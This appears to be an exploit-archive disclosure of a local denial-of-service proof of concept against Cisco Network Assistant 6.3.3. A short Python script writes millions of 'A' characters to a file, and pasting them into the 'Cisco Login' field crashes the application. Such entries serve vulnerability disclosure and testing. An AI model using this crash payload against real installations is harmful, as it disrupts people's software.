Cisco Network Assistant 6.3.3 Denial Of Service

2018.08.29
Credit: Luis Martinez
Risk: Low
Local: Yes
Remote: No
CVE: N/A
CWE: N/A

# Exploit Title: Cisco Network Assistant 6.3.3 - 'Cisco Login' Denial of Service (PoC) # Discovery by: Luis Martinez # Discovery Date: 2018-08-27 # Vendor Homepage: https://www.cisco.com/ # Software Link : https://software.cisco.com/download/home/286277276/type/280775097/release/6.3.3 # Tested Version: 6.3.3 # Vulnerability Type: Denial of Service (DoS) Local # Tested on OS: Windows 10 Pro x64 es # Steps to Produce the Crash: # 1.- Run python code : python Cisco_Network_Assistant_6.3.3.py # 2.- Open Cisco_Network_Assistant_6.3.3.txt and copy content to clipboard # 3.- Open Cisco Network Assistant # 4.- Authenticate to Cisco CCO # 5.- Paste ClipBoard on "Cisco Login" # 6.- Crashed #!/usr/bin/env python buffer = "\x41" * 6900000 f = open ("Cisco_Network_Assistant_6.3.3.txt", "w") f.write(buffer) f.close()


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